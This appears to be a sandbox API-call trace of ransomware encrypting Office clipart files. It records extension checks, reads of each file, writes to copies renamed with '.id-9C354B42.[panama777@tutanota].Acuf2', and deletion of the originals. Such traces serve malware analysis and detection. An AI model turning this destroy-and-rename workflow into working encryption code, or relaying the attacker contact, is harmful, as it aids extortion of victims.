	[0261.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.019] lstrlenW (lpString=".zip") returned 4
	[0261.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.019] lstrlenW (lpString=".rar") returned 4
	[0261.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.019] lstrlenW (lpString=".bz2") returned 4
	[0261.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.019] lstrlenW (lpString=".7z") returned 3
	[0261.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.019] lstrlenW (lpString=".dbf") returned 4
	[0261.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.019] lstrlenW (lpString=".1cd") returned 4
	[0261.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 63
	[0261.019] lstrlenW (lpString=".jpg") returned 4
	[0261.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.019] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.019] lstrlenW (lpString="DD01171_.WMF") returned 12
	[0261.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.020] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2052) returned 1
	[0261.020] CloseHandle (hObject=0x218) returned 1
	[0261.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20
	[0261.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.020] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.020] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.021] GetLastError () returned 0x0
	[0261.021] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x804, lpOverlapped=0x0) returned 1
	[0261.022] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x810, lpOverlapped=0x0) returned 1
	[0261.023] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.023] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.023] SetEndOfFile (hFile=0x29c) returned 1
	[0261.023] CloseHandle (hObject=0x29c) returned 1
	[0261.023] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.023] SetEndOfFile (hFile=0x218) returned 1
	[0261.025] CloseHandle (hObject=0x218) returned 1
	[0261.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1
	[0261.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.026] lstrlenW (lpString=".doc") returned 4
	[0261.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString=".docx") returned 5
	[0261.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.026] lstrlenW (lpString=".pdf") returned 4
	[0261.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString=".xls") returned 4
	[0261.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.026] lstrlenW (lpString=".xlsx") returned 5
	[0261.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.026] lstrlenW (lpString=".ppt") returned 4
	[0261.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.026] lstrlenW (lpString=".zip") returned 4
	[0261.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.026] lstrlenW (lpString=".rar") returned 4
	[0261.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString=".bz2") returned 4
	[0261.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString=".7z") returned 3
	[0261.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.026] lstrlenW (lpString=".dbf") returned 4
	[0261.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.026] lstrlenW (lpString=".1cd") returned 4
	[0261.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.026] lstrlenW (lpString=".jpg") returned 4
	[0261.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.027] lstrlenW (lpString=".doc") returned 4
	[0261.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString=".docx") returned 5
	[0261.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.027] lstrlenW (lpString=".pdf") returned 4
	[0261.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString=".xls") returned 4
	[0261.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.027] lstrlenW (lpString=".xlsx") returned 5
	[0261.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.027] lstrlenW (lpString=".ppt") returned 4
	[0261.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.027] lstrlenW (lpString=".zip") returned 4
	[0261.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.027] lstrlenW (lpString=".rar") returned 4
	[0261.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString=".bz2") returned 4
	[0261.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString=".7z") returned 3
	[0261.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.027] lstrlenW (lpString=".dbf") returned 4
	[0261.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.027] lstrlenW (lpString=".1cd") returned 4
	[0261.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63
	[0261.027] lstrlenW (lpString=".jpg") returned 4
	[0261.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.028] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.028] lstrlenW (lpString="DD01172_.WMF") returned 12
	[0261.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.028] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2232) returned 1
	[0261.028] CloseHandle (hObject=0x218) returned 1
	[0261.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20
	[0261.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.029] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.029] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.029] GetLastError () returned 0x0
	[0261.029] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x8b8, lpOverlapped=0x0) returned 1
	[0261.301] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x8c0, lpOverlapped=0x0) returned 1
	[0261.345] ReadFile (in: hFile=0x218, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.345] WriteFile (in: hFile=0x29c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.345] SetEndOfFile (hFile=0x29c) returned 1
	[0261.345] CloseHandle (hObject=0x29c) returned 1
	[0261.345] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.345] SetEndOfFile (hFile=0x218) returned 1
	[0261.347] CloseHandle (hObject=0x218) returned 1
	[0261.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1
	[0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.348] lstrlenW (lpString=".doc") returned 4
	[0261.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.348] lstrlenW (lpString=".docx") returned 5
	[0261.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.348] lstrlenW (lpString=".pdf") returned 4
	[0261.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.348] lstrlenW (lpString=".xls") returned 4
	[0261.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.348] lstrlenW (lpString=".xlsx") returned 5
	[0261.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.348] lstrlenW (lpString=".ppt") returned 4
	[0261.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.349] lstrlenW (lpString=".zip") returned 4
	[0261.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.349] lstrlenW (lpString=".rar") returned 4
	[0261.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString=".bz2") returned 4
	[0261.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString=".7z") returned 3
	[0261.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.349] lstrlenW (lpString=".dbf") returned 4
	[0261.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.349] lstrlenW (lpString=".1cd") returned 4
	[0261.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.349] lstrlenW (lpString=".jpg") returned 4
	[0261.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.349] lstrlenW (lpString=".doc") returned 4
	[0261.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString=".docx") returned 5
	[0261.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.349] lstrlenW (lpString=".pdf") returned 4
	[0261.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.349] lstrlenW (lpString=".xls") returned 4
	[0261.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.349] lstrlenW (lpString=".xlsx") returned 5
	[0261.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.349] lstrlenW (lpString=".ppt") returned 4
	[0261.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.350] lstrlenW (lpString=".zip") returned 4
	[0261.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.350] lstrlenW (lpString=".rar") returned 4
	[0261.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.350] lstrlenW (lpString=".bz2") returned 4
	[0261.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.350] lstrlenW (lpString=".7z") returned 3
	[0261.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.350] lstrlenW (lpString=".dbf") returned 4
	[0261.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.350] lstrlenW (lpString=".1cd") returned 4
	[0261.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63
	[0261.350] lstrlenW (lpString=".jpg") returned 4
	[0261.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.350] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0261.350] lstrlenW (lpString="DD01793_.WMF") returned 12
	[0261.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0261.376] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3252) returned 1
	[0261.376] CloseHandle (hObject=0x2a4) returned 1
	[0261.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20
	[0261.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.432] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.432] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0261.432] GetLastError () returned 0x0
	[0261.432] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xcb4, lpOverlapped=0x0) returned 1
	[0261.473] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xcc0, lpOverlapped=0x0) returned 1
	[0261.474] ReadFile (in: hFile=0x29c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.474] WriteFile (in: hFile=0x358, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.474] SetEndOfFile (hFile=0x358) returned 1
	[0261.474] CloseHandle (hObject=0x358) returned 1
	[0261.474] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.474] SetEndOfFile (hFile=0x29c) returned 1
	[0261.476] CloseHandle (hObject=0x29c) returned 1
	[0261.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1
	[0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.477] lstrlenW (lpString=".doc") returned 4
	[0261.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString=".docx") returned 5
	[0261.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.477] lstrlenW (lpString=".pdf") returned 4
	[0261.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString=".xls") returned 4
	[0261.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.477] lstrlenW (lpString=".xlsx") returned 5
	[0261.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.477] lstrlenW (lpString=".ppt") returned 4
	[0261.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.477] lstrlenW (lpString=".zip") returned 4
	[0261.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.477] lstrlenW (lpString=".rar") returned 4
	[0261.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString=".bz2") returned 4
	[0261.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString=".7z") returned 3
	[0261.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.477] lstrlenW (lpString=".dbf") returned 4
	[0261.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.477] lstrlenW (lpString=".1cd") returned 4
	[0261.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.477] lstrlenW (lpString=".jpg") returned 4
	[0261.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.478] lstrlenW (lpString=".doc") returned 4
	[0261.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString=".docx") returned 5
	[0261.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.478] lstrlenW (lpString=".pdf") returned 4
	[0261.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString=".xls") returned 4
	[0261.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.478] lstrlenW (lpString=".xlsx") returned 5
	[0261.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.478] lstrlenW (lpString=".ppt") returned 4
	[0261.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63
	[0261.478] lstrlenW (lpString=".zip") returned 4
	[0261.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
